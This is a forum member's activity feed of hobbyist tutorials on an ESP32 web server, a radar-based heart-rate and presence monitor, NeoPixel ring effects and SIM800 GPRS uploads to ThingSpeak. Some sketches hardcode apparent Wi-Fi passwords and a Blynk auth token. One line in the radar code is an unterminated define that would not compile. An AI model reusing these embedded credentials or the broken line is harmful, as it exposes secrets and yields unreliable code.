
CETECH
Members-
Posts
17 -
Joined
-
Last visited
CETECH's Achievements
-
CETECH started following Node Red Controlled Neo Pixel on Raspberry Pi 4 , Implementing Web Server on ESP32 , Seeed MR60BHA1: Presence, Breathing, and Heartbeat Sensing and 7 others
-
The ESP32, a low-cost microcontroller with integrated Wi-Fi and Bluetooth capabilities, has become a popular choice for IoT applications due to its power and affordability. One intriguing application is the creation of a web server. This blog post will provide a step-by-step guide on how to implement a web server on the ESP32. Understanding the Basics What is a Web Server? A web server is a software application that serves web pages to users. When a user requests a web page, the web server processes the request and sends the requested page back to the user’s browser. This forms the backbone of data communication on the World Wide Web. What is ESP32? The ESP32 is a series of low-cost, low-power systems on a chip microcontroller with integrated Wi-Fi and dual-mode Bluetooth. The ESP32 series employs a Tensilica Xtensa LX6 microprocessor and includes built-in antenna switches, an RF balun, a power amplifier, a low-noise receiver amplifier, filters, and power management modules. It is suitable for a wide variety of applications, from low-power sensor networks to more demanding tasks such as music streaming. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Step-by-Step Guide to Implementing a Web Server on ESP32 Step 1: Setting Up the Environment Before we delve into the implementation, we need to set up the ESP32 development environment. This involves installing the ESP32 board definitions in the Arduino IDE and connecting the ESP32 to your computer via a USB cable. The Arduino IDE provides a comfortable coding environment and makes it easy to upload programs to the board. Step 2: Including the Necessary Libraries The first step in our implementation is to include the necessary libraries. We’ll need the WiFi.h library for connecting the ESP32 to a Wi-Fi network and the ESPAsyncWebServer.h library for handling HTTP requests. These libraries provide the necessary functions and methods to establish a Wi-Fi connection and to set up a web server. #include <WiFi.h> #include <ESPAsyncWebServer.h> Step 3: Defining the Wi-Fi Credentials Next, we need to define our Wi-Fi credentials. Replace your_SSID and your_PASSWORD with your actual Wi-Fi SSID and password. These credentials will be used to connect the ESP32 to your local Wi-Fi network. const char* ssid = "your_SSID"; const char* password = "your_PASSWORD"; Step 4: Setting Up the Web Server Now we can set up our web server. We’ll create an instance of the AsyncWebServer class and define a route. The server will listen on port 80, which is the default port for HTTP. The route is defined by the URL that the user types into their browser. In this case, the root URL (“/”) will return a simple text message. // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); Step 5: Connecting to Wi-Fi Before we can start our web server, we need to connect the ESP32 to Wi-Fi. The WiFi.begin() function is used to connect to the Wi-Fi network. We then wait until the ESP32 is successfully connected before proceeding. WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println(WiFi.localIP()); Step 6: Starting the Web Server Finally, we can start our web server. The server.begin() function is used to start the server. Once the server is started, it will listen for incoming HTTP requests and respond accordingly. server.begin(); Step 7: Deployment Just upload the code to the ESP32 board and look for the serial monitor results. #include <WiFi.h> #include <ESPAsyncWebServer.h> const char* ssid = "ELDRADO"; // CHANGE IT const char* password = "amazon123"; // CHANGE IT AsyncWebServer server(80); void setup() { Serial.begin(9600); // Connect to Wi-Fi WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println("Connected to WiFi"); // Print the ESP32's IP address Serial.print("ESP32 Web Server's IP address: "); Serial.println(WiFi.localIP()); // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); // Start the server server.begin(); } void loop() {} Here is the serial monitor result: Next, navigate to the particular IP address in the web browser and look for the response. Wrapping Up Congratulations! You’ve just implemented a simple web server on the ESP32. You can now access this server from any device connected to the same Wi-Fi network by entering the ESP32’s IP address into a web browser. This is just the beginning - you can expand this server to control GPIO pins, read sensor data, and much more. The possibilities are endless.
-
Things used in this project Hardware components Seeed Studio MR60BHA1 60GHz mmWave Module - Respiratory Heartbeat Detection × 1 DFRobot FireBeetle ESP32 IOT Microcontroller (Supports Wi-Fi & Bluetooth) × 1 DFRobot I2C 16x2 Arduino LCD Display Module × 1 Seeed Studio MLX90614 × 1 IR Sensor Module × 1 Linear Regulator (7805) × 2 Bridge Rectifier Diode, Miniature × 1 Capacitor 470 µF × 1 LED (generic) × 1 TaydaElectronics MINI RELAY SPDT 5 PINS 12VDC 10A 120V CONTACT × 1 9V 1A Switching Wall Power Supply × 1 Through Hole Resistor, 470 ohm × 1 Resistor 4.75k ohm × 1 DC Power Connector, Jack × 1 Buzzer × 1 Software apps and online services Arduino IDE Blynk Hand tools and fabrication machines Soldering iron (generic) Solder Wire, Lead Free Solder Flux, Soldering Story The MR60BHA1 60GHz mmWave Module is a versatile sensor that utilizes Frequency Modulation Continuous Wave (FMCW) detection to accurately measure breathing rate and heart rate, ensuring a completely private and secure environment, free from external interference. Equipped with a built-in standard algorithm and onboard antenna, the unit delivers simultaneous signal output with exceptional precision. It serves as an ideal solution for developing high-accuracy, self-regulating, privacy-protected, and secure biotic radar systems in consumer electronics, healthcare, and industrial applications. Block Diagram Beyond heart rate and respiration detection, the radar sensor can detect human presence in the operating area, enabling the creation of an automated device and appliance control system that conserves energy during unoccupied periods. Additionally, the system incorporates an IR temperature sensor to measure body temperature, allowing for illness and stress detection. Upon detecting significant vital variations, the buzzer activates as an alert. Simultaneously, all details are displayed on an LCD display and a mobile phone app via the ESP32 Wi-Fi module. The project involved various components, which can be identified in the Below provided image. Components Identification Get PCBs for Your Projects Manufactured This project was successfully completed because of the help and support from NextPCB. Guys if you have a PCB project, please visit their website and get exciting discounts and coupons. NextPCB offers high-quality, reliable PCB starting at $1.9, and multilayer starting at $6.9. Also, everyone can enjoy free PCB assembly for 5 boards! Also, NextPCB is having a year end sale in which anyone can register through their website and get a $30 Coupon which can be used for ordering PCBs. You can also try HQDFM free online PCB Gerber viewer to check your PCB design and avoid costly errors. Seeed Studio MR60BHA1 60GHz mmWave Module 1 / 2 The Seeed Studio MR60BHA1 60GHz mmWave Module is a versatile sensor module that utilizes Frequency Modulation Continuous Wave (FMCW) detection technology to accurately measure vital signs, including breathing rate and heart rate. It operates in a completely private and secure environment, free from external interference, making it an ideal solution for privacy-sensitive applications. Equipped with a built-in standard algorithm and onboard antenna, the unit delivers simultaneous signal output with exceptional precision. It serves as an ideal solution for developing high-accuracy, self-regulating, privacy-protected, and secure biotic radar systems in consumer electronics, healthcare, and industrial applications Key Features: Non-contact sensing for comfort and privacy High-accuracy, self-regulating, privacy-protected, and secure Low power consumption for extended battery life Compact size and lightweight for easy integration Applications: Consumer Electronics: Smart home automation, wearable devices, sleep monitoring Healthcare: Patient monitoring, vital signs detection, illness and stress detection Industrial Applications: Presence detection, safety monitoring, automation control Additional Features: IR temperature sensor to measure human temperature Buzzer to alert when vital variations are found LCD display and mobile phone app for data visualization Enhanced Health and Wellness Monitoring: The MR60BHA1 60GHz mmWave Module can be used to develop a comprehensive health and wellness monitoring system. By combining heart rate, respiration, and temperature measurements, the system can provide valuable insights into an individual's overall health and well-being. Automated Device and Appliance Control: The MR60BHA1 60GHz mmWave Module can also be used to create an automated device and appliance control system. By detecting the presence of a human in the operating area, the system can automatically turn on lights, adjust thermostats, and control other devices. Privacy-Protected and Secure: The MR60BHA1 60GHz mmWave Module operates in a completely private and secure environment, ensuring that personal health data is protected. The sensor does not require any physical contact with the user, and all data is processed locally on the device. Interfacing the MR60BHA1 60GHz mmWave Module with the ESP32 requires establishing a communication link between the two devices. This can be achieved using a Serial interface(Interface 1). For an implementation using the serial interface, refer to the following : Connect the MR60BHA1's TX pin to the ESP32's RXD (16)pin. Connect the MR60BHA1's RX pin to the ESP32's TXD(17) pin. Connect the MR60BHA1's GND pin to the ESP32's GND pin. Connect the MR60BHA1's 3.3V pin to the ESP32's 3.3V pin. Interface 2 is typically used for firmware upgrades on the MR60BHA1 60GHz mmWave Module. Interface 1 is typically used for data communication between the module and a host device. The following table summarizes the recommended use of each interface: However, there may be some cases where it is not recommended to use Interface 2 for firmware upgrades. For example, if the module is already running the latest firmware version, then there is no need to upgrade it. Additionally, if the module is experiencing instability or other problems, then it may be best to avoid upgrading the firmware until the problems have been resolved. In general, it is always a good idea to consult the user manual or other documentation for the MR60BHA1 60GHz mmWave Module before attempting to upgrade the firmware. This will help to ensure that the upgrade is performed safely and correctly. Please note that upgrading the firmware may void the warranty on the module. It is important to read and understand the warranty information before proceeding with any firmware upgrades. For More Technical details on MR60BHA1 60GHz mmWave Module follow the link https://wiki.seeedstudio.com/Radar_MR60BHA1/ Radar module operating range The radar module beam coverage is shown. The radar coverage is a three-dimensional sector of 80° horizontally and 80° tilted. Due to the radar beam characteristics, the radar has a relatively long range in the direction normal to the antenna face, but a shorter range if it deviates from the antenna normal. When the radar is mounted on top or at an angle, the radar beam range and the effective radiation space will reduce the radar range, which needs to be taken into account when using the radar. Installation method As the radar works mainly based on the respiratory heart rhythm causing undulating movements on the surface of the large muscles, the undulation of the human chest and back will be more pronounced, so this radar needs to be installed in the correct position to the human chest or back. Based on the radar mode of action, the following mounting options are considered for radar installation. (A) Overhead installation The radar beam is positioned vertically downwards towards the body, with the center of the radar beam corresponding to the position of the body's chest cavity. In this installation mode, a distance of ≤ 2 m is required between the radar and the body to be measured. (B) Tilt mounting With tilt mounting, the radar is fixed to a wall or bedside, the radar is mounted at an angle (as shown below) and the radar beam is directed at the body at an angle, with the center of the radar beam corresponding to the position of the human chest cavity. In this installation mode, the radial distance between the radar and the body to be measured is ≤ 2 m. (C) Horizontal installation The radar is placed horizontally (as shown in Fig Below), the radar is fixed to a wall, or placed on a table, the radar beam is directed toward the human body and the center of the radar beam corresponds to the position of the human thorax. The distance between the radar and the human body to be measured in this installation mode is ≤ 2 m. How the Project Works The project comprises an MR60BHA1 60GHz mmWave module for respiration, heart rate, and human presence detection, along with an MLX90614 sensor for contactless body temperature measurement. This project caters to two sectors: wellness monitoring and home or office automation. The ESP32 microcontroller serves as the project's central processing unit (CPU) and WiFi module. The MR60BHA1 sensor is connected using the ESP32's UART channels and the MLX90614 sensor is connected using ESP32's I2C Channels(SDA, SCL). To measure body temperature, the user needs to bring their hand near the sensor. A proximity sensor is deployed near the MLX90614 sensor to detect the presence of a hand and initialize the body temperature measurement. The measured temperature details will be displayed on the LCD panels and Blynk mobile application in Celsius units. To initiate heart rate and respiration rate measurement, the user must first deactivate the human presence detection switch. Once deactivated, the user should press the measurement button, and the ESP32 will initiate the measurement process by emitting a buzzer alert. The algorithms require a few seconds to collect and process the data, so please expect some minor delays before the accurate readings are displayed on the LCD screen and the Blynk mobile application. To activate the automation system based on human presence, the human presence detection switch must be activated. Once the switch is activated, the MR60BHA1 transitions into human presence detection mode. When human movements are detected within the radar's operating range, the ESP32 sends a pop-up notification to the Blynk app alerting the owner. Subsequently, an LED bulb will be turned on using a relay, demonstrating the MR60BHA1's capability in automating equipment. This human presence detection system also serves as a security product. The entire project is powered by a 12-volt DC power adapter. Considering the power requirements of the sensors, microcontroller, and other components, the voltage is regulated to 5 volts using a 7805 voltage regulator and to 3.3 volts using an AMS1117 voltage regulator. Project Code: #include "Arduino.h" #include <Wire.h> #include <LiquidCrystal_I2C.h> #include <Wire.h> #include <Adafruit_MLX90614.h> #include <WiFi.h> #include <WiFiClient.h> #include <BlynkSimpleEsp32.h> #define BLYNK_PRINT Serial #define BLYNK_TEMPLATE_ID "TMPL3gy4Fq2LC" #define BLYNK_TEMPLATE_NAME "Project" #define BLYNK_AUTH_TOKEN " char auth[] = "cxwnZjdeqqhWcGuObkEZ5OVt1WC_227g"; char ssid[] = "wifi"; char pass[] = "123456788"; Adafruit_MLX90614 mlx = Adafruit_MLX90614(); #define RXD2 16 #define TXD2 17 #include <60ghzbreathheart.h> LiquidCrystal_I2C lcd(0x27, 16, 2); BreathHeart_60GHz radar = BreathHeart_60GHz(&Serial2); unsigned long delay_Intial = 0; const long delay_interval = 1000; unsigned long measure_Intial = 0; const long measure_interval = 20000; int Human_pesence_pin = 27; int Human_presence; int Heart_rate_measure_button_pin = 26; int Heart_Button = 0; int IR_Sensor_pin = 33; int IR_Status; int relay = 32; int Buzzer = 25; void _delay() { delay_Intial = millis(); while((millis() - delay_Intial) <= delay_interval) { } } void Measure_Breath_Heart_rate() { radar.Breath_Heart(); //Breath and heartbeat information output if(radar.sensor_report != 0x00) { switch(radar.sensor_report) { case HEARTRATEVAL: Serial.print("Sensor monitored the current heart rate value is: "); Serial.print(radar.heart_rate, DEC); Serial.println(); lcd.clear(); lcd.setCursor(0,0); lcd.print("Heart Rate: "); lcd.print(radar.heart_rate); Blynk.virtualWrite(V0,radar.heart_rate); break; case BREATHVAL: Serial.print("Sensor monitored the current breath rate value is: "); Serial.print(radar.breath_rate, DEC); Serial.println(); lcd.setCursor(0,1); lcd.print("Breath_rate: "); lcd.print(radar.breath_rate, DEC); Blynk.virtualWrite(V1,radar.breath_rate); break; } } } void human_presence() { radar.HumanExis_Func(); //Human existence information output if(radar.sensor_report != 0x00){ switch(radar.sensor_report){ case BODYVAL: Serial.print("The parameters of human body signs are: "); Serial.println(radar.bodysign_val, DEC); Serial.println("----------------------------"); if(radar.bodysign_val >=15) { Blynk.virtualWrite(V3,20); measure_Intial = millis(); delay(1000); Blynk.virtualWrite(V3,0); while((millis() - measure_Intial) <= measure_interval) { digitalWrite(relay,HIGH); lcd.clear(); lcd.setCursor(0,0); lcd.print("Presence Found"); lcd.setCursor(0,1); lcd.print("Lights ON"); _delay(); } digitalWrite(relay,LOW); lcd.setCursor(0,1); lcd.print("Lights OFF"); _delay(); } break; } } } void HR_BR() { measure_Intial = millis(); while((millis() - measure_Intial) <= measure_interval) { Measure_Breath_Heart_rate(); } } void Measure_IR_Temperature() { Serial.print("*C\tObject = "); Serial.print(mlx.readObjectTempC()); Serial.println("*C"); lcd.clear(); lcd.setCursor(0,1); lcd.print("Body Temp: "); lcd.print(mlx.readObjectTempC()); Blynk.virtualWrite(V2,mlx.readObjectTempC()); _delay(); } void setup() { Serial.begin(115200);//RX0,TX0 OF ESP32 Serial2.begin(115200, SERIAL_8N1, RXD2, TXD2);//RX2,TX2 OF ESP32 pinMode(Heart_rate_measure_button_pin,INPUT); pinMode(IR_Sensor_pin,INPUT); pinMode(Human_pesence_pin,INPUT); pinMode(relay,OUTPUT); pinMode(Buzzer,OUTPUT); Wire.begin(); lcd.begin(); lcd.backlight(); mlx.begin(); radar.ModeSelect_fuc(1); Blynk.begin(auth, ssid, pass); } void loop() { Heart_Button = digitalRead(Heart_rate_measure_button_pin); IR_Status = digitalRead(IR_Sensor_pin); Human_presence = digitalRead(Human_pesence_pin); lcd.clear(); digitalWrite(relay,LOW); digitalWrite(Buzzer,LOW); Blynk.virtualWrite(V0,0); Blynk.virtualWrite(V1,0); Blynk.virtualWrite(V2,0); Blynk.virtualWrite(V3,0); switch(IR_Status) { case 1: Measure_IR_Temperature(); break; case 0: break; lcd.clear(); } switch(Heart_Button) { case 1: digitalWrite(Buzzer,HIGH); _delay(); digitalWrite(Buzzer,LOW); _delay(); Serial.println("Heart_rate_monitoring_system_acitve"); HR_BR(); break; } switch(Human_presence) { case 1: Serial.println("Human_presence_detection_active"); human_presence(); break; case 0: digitalWrite(relay,LOW); break; } Blynk.run(); }
-
- dfrobot
- arduino ide
-
(and 3 more)
Tagged with:
-
Story A NeoPixel ring controlled by a DHT11 sensor and an Arduino Nano can be a fascinating project that combines temperature sensing with visual feedback. This article will guide you through the process of building such a system. Materials Needed Arduino Nano DHT11 Temperature and Humidity Sensor Neo Pixel Ring Jumper Wires Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Step 1: Connecting the Hardware First, connect the DHT11 sensor and the Neo Pixel ring to the Arduino Nano. The DHT11 sensor can be connected to any digital pin on the Arduino Nano. The Neo Pixel ring should be connected to the D2 pin of the Arduino Nano. Step 2: Installing the Libraries You will need to install the DHT library and the Adafruit Neo Pixel library in your Arduino IDE. These libraries contain the necessary functions to interact with the DHT11 sensor and the Neo Pixel ring. First Navigate to Sketch > Include Library > Manage Libraries... In the Library Manager, there is a search box. Type “DHT sensor library” into the search box. In the search results, find the library named “DHT sensor library” by Adafruit. Click on it, then click the “Install” button. And that’s it! You’ve successfully installed the DHT11 sensor library in Arduino IDE. This library should now be available for inclusion in your sketches. Step 3: Programming the Arduino The next step is to program the Arduino Nano. The program should read the temperature from the DHT11 sensor and change the color of the Neo Pixel ring based on the temperature. For example, you could program the Neo Pixel ring to display a blue color when the temperature is below a certain threshold. A green color when the temperature is within a comfortable range, and a red color when the temperature is above a certain threshold. Step 4: Testing the System After programming the Arduino Nano, it’s time to test the system. Power up the Arduino and observe the color of the Neo Pixel ring. Try changing the temperature around the DHT11 sensor (for example, by blowing hot or cold air onto the sensor) and see if the color of the Neo Pixel ring changes accordingly. #include <Adafruit_NeoPixel.h> #include <Adafruit_Sensor.h> #include <DHT.h> #include <DHT_U.h> #define DHTTYPE DHT11 // DHT 11 #define DHTPIN 3 DHT_Unified dht(DHTPIN, DHTTYPE); #define PIN 2 // Neo Adafruit_NeoPixel strip = Adafruit_NeoPixel(8, PIN, NEO_GRB + NEO_KHZ800); void setup() { Serial.begin(115200); dht.begin(); sensor_t sensor; strip.begin(); strip.setBrightness(100); strip.show(); } void loop() { sensors_event_t event; dht.temperature().getEvent(&event); Serial.print(F("Temperature: ")); float temp1 = event.temperature; Serial.print(temp1); Serial.println(F("°C")); dht.humidity().getEvent(&event); Serial.print(F("Humidity: ")); float hum1 = event.relative_humidity; Serial.print(hum1); Serial.println(F("%")); if (temp1 >= 28 && temp1 < 31) { strip.clear(); // Set all pixel colors to 'off' for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(0, 150, 0)); strip.show(); } } else if (temp1 < 28) { strip.clear(); for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(0, 0, 150)); strip.show(); } } else { strip.clear(); for (int i = 0; i < 12; i++) { // For each pixel... strip.setPixelColor(i, strip.Color(150, 0, 0)); strip.show(); } } } Conclusion Building a DHT11-controlled Neo Pixel ring with an Arduino Nano is a fun and educational project combining temperature sensing and visual feedback. With this system, you can visually monitor the temperature in a room and get a sense of whether the temperature is within a comfortable range.
-
If you are looking for a way to add some colorful and dynamic lighting effects to your Arduino projects, you might want to try using neo-pixel rings. Neo-pixel rings are circular arrays of RGB LEDs that can be controlled individually by a single data line. They are easy to use and can create amazing patterns and animations with Arduino code. In this article, I will show you how to integrate a pixel ring with Arduino Nano, a small and cheap microcontroller board that can be programmed to interact with various sensors and devices. You will learn how to wire the neo-pixel ring to the Arduino Nano, how to install and use the Adafruit Neo Pixel library, and how to code some basic lighting effects using the neo-pixel ring. By the end of this article, you can create your custom lighting effects using a neo-pixel ring and Arduino Nano. You will also be able to modify and customize the code according to your preferences and needs. Let’s get started! Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Materials and tools: 8-bit neo-pixel ring Arduino nano Jumper wires Mini USB cable Adafruit Neo Pixel library for Arduino Wiring: Connect the IN pin of the neo-pixel ring to the D2 pin of the Arduino nano Connect the VCC pin of the neo-pixel ring to the +5V pin of the Arduino nano Connect the GND pin of the neo-pixel ring to the GND pin of the Arduino nano Programming: Once all the connections are made, open up the Arduino IDE and go to the Include library option. Then add the downloaded zip library that we have previously mentioned. Once the library installation is successful, you can see the neo pixel library examples in the examples sketch. Next, open up the strandtest_wheel sketch and change the pin to 2. Because we have connected our Neo pixel to the D2 pin of the Arduino. # include <Adafruit_NeoPixel.h> #ifdef __AVR__ #include <avr/power.h> #endif #define PIN 2 // Parameter 1 = number of pixels in strip // Parameter 2 = Arduino pin number (most are valid) // Parameter 3 = pixel type flags, add together as needed: // NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) // NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) // NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) // NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) // NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) Adafruit_NeoPixel strip = Adafruit_NeoPixel(8, PIN, NEO_GRB + NEO_KHZ800); // IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across // pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input // and minimize distance between Arduino and first pixel. Avoid connecting // on a live circuit...if you must, connect GND first. void setup() { // This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket #if defined (__AVR_ATtiny85__) if (F_CPU == 16000000) clock_prescale_set(clock_div_1); #endif // End of trinket special code strip.begin(); strip.setBrightness(100); strip.show(); // Initialize all pixels to 'off' } void loop() { // Some example procedures showing how to display to the pixels: colorWipe(strip.Color(255, 0, 0), 50); // Red colorWipe(strip.Color(0, 255, 0), 50); // Green colorWipe(strip.Color(0, 0, 255), 50); // Blue //colorWipe(strip.Color(0, 0, 0, 255), 50); // White RGBW // Send a theater pixel chase in... theaterChase(strip.Color(127, 127, 127), 50); // White theaterChase(strip.Color(127, 0, 0), 50); // Red theaterChase(strip.Color(0, 0, 127), 50); // Blue rainbow(20); rainbowCycle(20); theaterChaseRainbow(50); } // Fill the dots one after the other with a color void colorWipe(uint32_t c, uint8_t wait) { for(uint16_t i=0; i<strip.numPixels(); i++) { strip.setPixelColor(i, c); strip.show(); delay(wait); } } void rainbow(uint8_t wait) { uint16_t i, j; for(j=0; j<256; j++) { for(i=0; i<strip.numPixels(); i++) { strip.setPixelColor(i, Wheel((i+j) & 255)); } strip.show(); delay(wait); } } // Slightly different, this makes the rainbow equally distributed throughout void rainbowCycle(uint8_t wait) { uint16_t i, j; for(j=0; j<256*5; j++) { // 5 cycles of all colors on wheel for(i=0; i< strip.numPixels(); i++) { strip.setPixelColor(i, Wheel(((i * 256 / strip.numPixels()) + j) & 255)); } strip.show(); delay(wait); } } //Theatre-style crawling lights. void theaterChase(uint32_t c, uint8_t wait) { for (int j=0; j<10; j++) { //do 10 cycles of chasing for (int q=0; q < 3; q++) { for (uint16_t i=0; i < strip.numPixels(); i=i+3) { strip.setPixelColor(i+q, c); //turn every third pixel on } strip.show(); delay(wait); for (uint16_t i=0; i < strip.numPixels(); i=i+3) { strip.setPixelColor(i+q, 0); //turn every third pixel off } } } } //Theatre-style crawling lights with rainbow effect void theaterChaseRainbow(uint8_t wait) { for (int j=0; j < 256; j++) { // cycle all 256 colors in the wheel for (int q=0; q < 3; q++) { for (uint16_t i=0; i < strip.numPixels(); i=i+3) { strip.setPixelColor(i+q, Wheel( (i+j) % 255)); //turn every third pixel on } strip.show(); delay(wait); for (uint16_t i=0; i < strip.numPixels(); i=i+3) { strip.setPixelColor(i+q, 0); //turn every third pixel off } } } } // Input a value 0 to 255 to get a color value. // The colours are a transition r - g - b - back to r. uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if(WheelPos < 85) { return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if(WheelPos < 170) { WheelPos -= 85; return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0); } Next, select the correct port and board. Here is the response. Conclusion: You have learned how to connect neo pixel ring with Arduino Nano and create some lighting effects using Arduino code, You can try different colors, patterns, and speeds for your animations by changing the code parameters. You can also use other types of neo-pixel products, such as strips, matrices, or jewels, for more variety and complexity.
- 1 reply
-
- led
- neo pixel ring
-
(and 2 more)
Tagged with:
-
Sending data from an Arduino microcontroller to the ThingSpeak platform using a GPRS module is not a novel project concept. While it may appear outdated in numerous regions, owing to the rapid evolution of communication technologies such as 2G, 3G, 4G, 5G, and the potential for 6G, this is not the case in my country. In India, 2G technologies remain prevalent, and major network operators have confirmed their intent to sustain 2G services. The legacy project documents that were originally designed with the SIM800 module may necessitate slight adjustments. This project will prove invaluable to those who continue to rely on 2G and GPRS technology. It offers essential support and guidance for individuals who intend to persist with these communication methods. Sending data from an Arduino microcontroller to the ThingSpeak platform using a GPRS module, specifically the SIM800, is a fundamental concept. The crucial aspect is that this communication method operates independently of Wi-Fi, constituting an IoT connectivity solution that relies on GPRS for data transmission. 1 / 2 In this project, LM35 temperature sensor data is being transmitted to the ThingSpeak platform through an Arduino Nano and a SIM800 module. The SIM800 module is leveraged to establish a GPRS connection, facilitating the transmission of data to ThingSpeak at specified intervals. To ensure a reliable connection between ThingSpeak and the hardware, users must configure the SIM800 module to establish a connection with their mobile network. This configuration encompasses setting the Access Point Name (APN) specific to their mobile carrier. It's important to note that the specific AT commands for this configuration may vary based on the user's chosen mobile network provider. For this project, I utilized the services of the network provider Airtel to establish the connection. Communication between the hardware components, specifically the SIM800 module, Arduino Nano, and ThingSpeak platform, relies entirely on AT commands. To ensure successful project implementation and effectively troubleshoot any issues that may arise, users must possess a basic understanding of SIM800 AT commands. This knowledge is crucial for configuring, managing, and diagnosing the communication process and resolving potential challenges during the project. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Networking testing The table provided below lists several common AT commands that serve to swiftly and effectively verify the proper functioning of the SIM800C's AT serial communication and network connection. Before proceeding with the steps outlined for the network communication demonstration, it is advisable to conduct a straightforward network test. This preliminary test ensures that the intended network connection is in working order and fully operational. TCP/IP Communication The SIM800 serial module's TCP/IP application offers two connection modes, selectable through the AT command `AT CIPMUX=<n>`. When `AT CIPMUX` is set to 0 (`AT+CIPMUX=0`), it operates in single-link mode. When `AT CIPMUX` is set to 1 (`AT+CIPMUX=1`), it operates in multi-link mode. By default, the module is configured in single-link mode. In single-link mode, the SIM800 serial module can function in both transparent and non-transparent transmission modes. In both of these modes, the module can be configured as either a TCP/UDP client or a TCP server. In multi-link mode, the SIM800 serial module operates solely in non-transparent mode. In this mode, it can serve as a TCP/UDP client, allowing for the establishment of a maximum of 6 connections. It can also be configured as a TCP server, with support for 5 TCP/UDP clients. SIM800C TCP/IP operates with a multi-client architecture by default, enabling up to five sockets for TCP or UDP connections. In the upcoming demonstrations, our focus will be on the client communication capabilities of the SIM800C module. Specifically, we will explore its operation in single-link non-transparent mode and transparent mode. Client communication in non-transparent mode Client communication in non-transparent mode refers to the way the SIM800C module interacts with remote servers or devices when it acts as a client, transmitting data using a specific protocol such as TCP or UDP. In non-transparent mode, the module sends and receives data through AT commands and does not directly pass data between the microcontroller and the remote server. This mode provides control over the data transmission process, allowing you to send and receive data, manage connections, and configure communication settings using AT commands. It is suitable for applications where you need fine-grained control over the communication process and want to ensure data integrity. To use the SIM800C in client communication in non-transparent mode, you will typically configure the module using appropriate AT commands and establish connections with remote servers or devices for data exchange. Client communication in transparent transmission mode Client communication in transparent transmission mode refers to the SIM800C module's ability to act as a client while allowing data to flow directly between the microcontroller (e.g., an Arduino) and a remote server or device. In this mode, the SIM800C module operates as a transparent bridge, forwarding data between the microcontroller and the remote server without the need for explicit AT commands to send or receive each piece of data. This mode simplifies data transfer by treating the SIM800C module as a transparent conduit. Data sent by the microcontroller is transmitted to the remote server without manual packetization, and data received from the server is forwarded to the microcontroller without manual processing. Using the SIM800C in transparent transmission mode is advantageous when you want to streamline data transfer and reduce the complexity of managing data packets and AT commands for each communication task. It's particularly useful for applications where data throughput and efficiency are essential. HTTP Communication This chapter provides an overview of the HTTP communication capabilities of the SIM800C module, focusing on HTTP GET and HTTP POST methods. For in-depth information about HTTP and FTP (File Transfer Protocol) communication with the SIM800C module, please refer to the "SIM800C Series_IP_Application_Note." This additional resource will provide comprehensive details and guidelines for utilizing these communication functions effectively. HTTP GET HTTP Post SIM800 Series_AT Command Manual_V1.10 SIM800 Series_TCPIP_Application Note_V1.02 Connection Diagram Establishing Communication Between Arduino Nano, SIM800, and ThingSpeak (Serial Monitor Data Captured During Project Execution). AT+CSTT="airtelgprs.com"<CR> OK AT+CIICR<CR> OK AT+CIFSR<CR> 100.78.215.26 AT+CIPSPRT=0<CR> OK 